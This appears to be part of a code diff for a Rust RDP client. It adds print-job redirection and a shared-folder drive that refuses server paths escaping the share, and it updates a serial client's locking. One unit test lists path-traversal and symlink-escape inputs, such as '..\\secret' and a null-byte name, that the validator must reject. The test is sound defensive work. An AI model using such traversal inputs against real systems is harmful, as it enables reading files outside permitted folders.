Some((f, _, written)) if *written + n <= MAX_PRINT_JOB => {
*written += n;
f.write_all(&r.write_data).is_ok()
}
_ => false,
};
RdpdrPdu::DeviceWriteResponse(DeviceWriteResponse {
device_io_reply: DeviceIoResponse::new(r.device_io_request, if ok { NtStatus::SUCCESS } else { NtStatus::UNSUCCESSFUL }),
length: if ok { n as u32 } else { 0 },
})
}
PrinterIoRequest::Close(r) => {
if let Some((f, path, written)) = self.jobs.remove(&r.device_io_request.file_id) {
drop(f);
if written == 0 {
let _ = std::fs::remove_file(&path);
} else {
(self.on_printed)(path);
}
}
RdpdrPdu::DeviceCloseResponse(DeviceCloseResponse { device_io_response: DeviceIoResponse::new(r.device_io_request, NtStatus::SUCCESS) })
}
};
Ok(vec![SvcMessage::from(pdu)])
}
}
impl RdpdrBackend for Devices {
fn handle_server_device_announce_response(&mut self, _: ServerDeviceAnnounceResponse) -> PduResult<()> {
Ok(())
}
fn handle_scard_call(&mut self, _: DeviceControlRequest<ScardIoCtlCode>, _: ScardCall) -> PduResult<()> {
Ok(())
}
fn handle_drive_io_request(&mut self, req: ServerDriveIoRequest) -> PduResult<Vec<SvcMessage>> {
#[cfg(unix)]
if let Some(d) = &mut self.drive {
return d.handle(req);
}
ConfinedDrive::refuse(req)
}
fn handle_printer_io_request(&mut self, req: PrinterIoRequest) -> PduResult<Vec<SvcMessage>> {
match &mut self.printer {
Some(p) => p.handle(req),
None => Ok(vec![SvcMessage::from(RdpdrPdu::DeviceCloseResponse(DeviceCloseResponse {
device_io_response: DeviceIoResponse::new(req.into_device_io_request(), NtStatus::NOT_SUPPORTED),
}))]),
}
}
}
#[derive(Debug)]
struct ConfinedDrive {
#[cfg(unix)]
inner: NixRdpdrBackend,
#[cfg_attr(not(unix), allow(dead_code))]
base: PathBuf,
}
impl ConfinedDrive {
pub fn new(folder: &Path) -> std::io::Result<ConfinedDrive> {
let base = folder.canonicalize()?;
if !base.is_dir() {
return Err(std::io::Error::other(format!("{} is not a folder", base.display())));
}
Ok(ConfinedDrive {
#[cfg(unix)]
inner: NixRdpdrBackend::new(base.to_string_lossy().trim_end_matches('/').to_string()),
base,
})
}
/// Whether a server path (`\dir\file`, Windows separators) stays inside the share.
fn allowed(&self, server_path: &str) -> bool {
let rel = server_path.replace('\\', "/");
if rel.contains('\0') {
return false;
}
let mut p = self.base.clone();
for c in rel.split('/').filter(|c| !c.is_empty() && *c != ".") {
if c == ".." {
return false;
}
p.push(c);
}
// The deepest part that exists must resolve (through any symlinks) inside the share; what
// doesn't exist yet can't be a link.
let mut probe = p.as_path();
loop {
if probe.symlink_metadata().is_ok() {
return probe.canonicalize().is_ok_and(|real| real.starts_with(&self.base));
}
match probe.parent() {
Some(parent) if parent.starts_with(&self.base) => probe = parent,
_ => return false,
}
}
}
fn refuse(req: ServerDriveIoRequest) -> PduResult<Vec<SvcMessage>> {
tracing::warn!("RDP server asked for a path outside the shared folder; refused");
let pdu = match req {
ServerDriveIoRequest::ServerCreateDriveRequest(r) => RdpdrPdu::DeviceCreateResponse(DeviceCreateResponse {
device_io_reply: DeviceIoResponse::new(r.device_io_request, NtStatus::ACCESS_DENIED),
file_id: 0,
information: Information::empty(),
}),
ServerDriveIoRequest::ServerDriveQueryDirectoryRequest(r) => RdpdrPdu::ClientDriveQueryDirectoryResponse(ClientDriveQueryDirectoryResponse {
device_io_reply: DeviceIoResponse::new(r.device_io_request, NtStatus::NO_MORE_FILES),
buffer: None,
}),
ServerDriveIoRequest::ServerDriveSetInformationRequest(r) => RdpdrPdu::ClientDriveSetInformationResponse(
ClientDriveSetInformationResponse::new(&r, NtStatus::ACCESS_DENIED).map_err(|e| ironrdp::pdu::encode_err!(e))?,
),
_ => return Ok(vec![]),
};
Ok(vec![SvcMessage::from(pdu)])
}
}
impl ConfinedDrive {
#[cfg(unix)]
fn handle(&mut self, req: ServerDriveIoRequest) -> PduResult<Vec<SvcMessage>> {
let ok = match &req {
ServerDriveIoRequest::ServerCreateDriveRequest(r) => self.allowed(&r.path),
ServerDriveIoRequest::ServerDriveQueryDirectoryRequest(r) => r.initial_query == 0 || self.allowed(r.path.trim_end_matches('*')),
ServerDriveIoRequest::ServerDriveSetInformationRequest(r) => match &r.set_buffer {
FileInformationClass::Rename(info) => self.allowed(&info.file_name),
_ => true,
},
// Everything else names a file by an id that a checked create handed out.
_ => true,
};
if ok { self.inner.handle_drive_io_request(req) } else { Self::refuse(req) }
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn print_jobs_are_saved_and_capped() {
use ironrdp::rdpdr::pdu::efs::{
CreateDisposition, CreateOptions, DesiredAccess, DeviceCloseRequest, DeviceCreateRequest, DeviceIoRequest, DeviceWriteRequest, FileAttributes,
MajorFunction, SharedAccess,
};
let dir = std::env::temp_dir().join(format!("nexus-print-{}", std::process::id()));
let _ = std::fs::remove_dir_all(&dir);
std::fs::create_dir_all(&dir).unwrap();
let printed: std::sync::Arc<parking_lot::Mutex<Vec<PathBuf>>> = Default::default();
let p2 = printed.clone();
let mut dev = Devices::default().with_printer(dir.clone(), std::sync::Arc::new(move |f| p2.lock().push(f)));
let io = |file_id, major| DeviceIoRequest { device_id: 2, file_id, completion_id: 1, major_function: major, minor_function: 0.into() };
let create = || {
PrinterIoRequest::Create(DeviceCreateRequest {
device_io_request: io(0, MajorFunction::Create),
desired_access: DesiredAccess::empty(),
allocation_size: 0,
file_attributes: FileAttributes::empty(),
shared_access: SharedAccess::empty(),
create_disposition: CreateDisposition::FILE_OPEN,
create_options: CreateOptions::empty(),
path: String::new(),
})
};
let write = |id, data: &[u8]| {
PrinterIoRequest::Write(DeviceWriteRequest { device_io_request: io(id, MajorFunction::Write), offset: 0, write_data: data.to_vec() })
};
let close = |id| PrinterIoRequest::Close(DeviceCloseRequest { device_io_request: io(id, MajorFunction::Close) });
dev.handle_printer_io_request(create()).unwrap();
dev.handle_printer_io_request(write(1, b"%!PS-Adobe-3.0\n")).unwrap();
dev.handle_printer_io_request(write(1, b"showpage\n")).unwrap();
dev.handle_printer_io_request(close(1)).unwrap();
let files = printed.lock().clone();
assert_eq!(files.len(), 1);
assert_eq!(std::fs::read_to_string(&files[0]).unwrap(), "%!PS-Adobe-3.0\nshowpage\n");
// An empty job leaves no file behind; writes past the cap are refused.
dev.handle_printer_io_request(create()).unwrap();
dev.handle_printer_io_request(close(2)).unwrap();
dev.handle_printer_io_request(create()).unwrap();
dev.printer.as_mut().unwrap().jobs.get_mut(&3).unwrap().2 = MAX_PRINT_JOB;
dev.handle_printer_io_request(write(3, b"x")).unwrap();
assert_eq!(dev.printer.as_ref().unwrap().jobs[&3].2, MAX_PRINT_JOB);
assert_eq!(printed.lock().len(), 1);
std::fs::remove_dir_all(dir).unwrap();
}
#[test]
fn server_paths_stay_inside_the_share() {
let root = std::env::temp_dir().join(format!("nexus-drive-{}", std::process::id()));
let _ = std::fs::remove_dir_all(&root);
let share = root.join("share");
std::fs::create_dir_all(share.join("sub")).unwrap();
std::fs::write(root.join("secret"), "x").unwrap();
std::os::unix::fs::symlink(&root, share.join("escape")).unwrap();
std::os::unix::fs::symlink(share.join("sub"), share.join("inside")).unwrap();
let d = ConfinedDrive::new(&share).unwrap();
for ok in ["\\", "\\sub", "\\sub\\new.txt", "\\new\\deeper\\file", "\\inside\\x", "\\.\\sub"] {
assert!(d.allowed(ok), "{ok}");
}
for bad in ["\\..\\secret", "\\sub\\..\\..\\secret", "\\escape\\secret", "\\escape\\new", "\\a\0b"] {
assert!(!d.allowed(bad), "{bad:?}");
}
std::fs::remove_dir_all(root).unwrap();
}
}
+8 -7
View File
@@ -2,8 +2,9 @@
//! `Profile::host`, line settings come from `Profile::serial`. Same conventions as the other //! `Profile::host`, line settings come from `Profile::serial`. Same conventions as the other
//! clients: blocking `connect`, an own reader thread, `on_close` exactly once (unplug included). //! clients: blocking `connect`, an own reader thread, `on_close` exactly once (unplug included).
use parking_lot::Mutex;
use std::sync::Arc;
use std::sync::atomic::{AtomicBool, Ordering}; use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::{Arc, Mutex};
use std::time::Duration; use std::time::Duration;
use serialport::{DataBits, FlowControl, Parity, SerialPort, StopBits}; use serialport::{DataBits, FlowControl, Parity, SerialPort, StopBits};
@@ -45,7 +46,7 @@ impl SerialClient {
/// Opens and configures the port, applies DTR/RTS, and starts the reader thread. /// Opens and configures the port, applies DTR/RTS, and starts the reader thread.
pub fn connect(&self) -> crate::Result<()> { pub fn connect(&self) -> crate::Result<()> {
let inner = &self.inner; let inner = &self.inner;
if inner.port.lock().unwrap().is_some() { if inner.port.lock().is_some() {
return Err("already connected".into()); return Err("already connected".into());
} }
if inner.path.is_empty() { if inner.path.is_empty() {
@@ -82,14 +83,14 @@ impl SerialClient {
reader.set_timeout(READ_POLL)?; reader.set_timeout(READ_POLL)?;
let stop = Arc::new(AtomicBool::new(false)); let stop = Arc::new(AtomicBool::new(false));
{ {
let mut guard = inner.port.lock().unwrap(); let mut guard = inner.port.lock();
if guard.is_some() { if guard.is_some() {
return Err("already connected".into()); return Err("already connected".into());
} }
*guard = Some((port, stop.clone())); *guard = Some((port, stop.clone()));
} }
let me = inner.clone(); let me = inner.clone();
std::thread::spawn(move || me.read_loop(reader, stop)); std::thread::spawn(super::guarded(inner.cb.on_error.clone(), inner.cb.on_close.clone(), move || me.read_loop(reader, stop)));
Ok(()) Ok(())
} }
@@ -128,11 +129,11 @@ impl SerialClient {
} }
pub fn is_connected(&self) -> bool { pub fn is_connected(&self) -> bool {
self.inner.port.lock().unwrap().is_some() self.inner.port.lock().is_some()
} }
fn with_port(&self, f: impl FnOnce(&mut Box<dyn SerialPort>) -> crate::Result<()>) -> crate::Result<()> { fn with_port(&self, f: impl FnOnce(&mut Box<dyn SerialPort>) -> crate::Result<()>) -> crate::Result<()> {
let mut guard = self.inner.port.lock().unwrap(); let mut guard = self.inner.port.lock();
let (port, _) = guard.as_mut().ok_or("not connected")?; let (port, _) = guard.as_mut().ok_or("not connected")?;
f(port) f(port)
} }
@@ -165,7 +166,7 @@ impl Inner {
} }
fn close(&self) { fn close(&self) {
let taken = self.port.lock().unwrap().take(); let taken = self.port.lock().take();
if let Some((port, stop)) = taken { if let Some((port, stop)) = taken {
stop.store(true, Ordering::SeqCst); stop.store(true, Ordering::SeqCst);
drop(port); drop(port);

Some files were not shown because too many files have changed in this diff Show More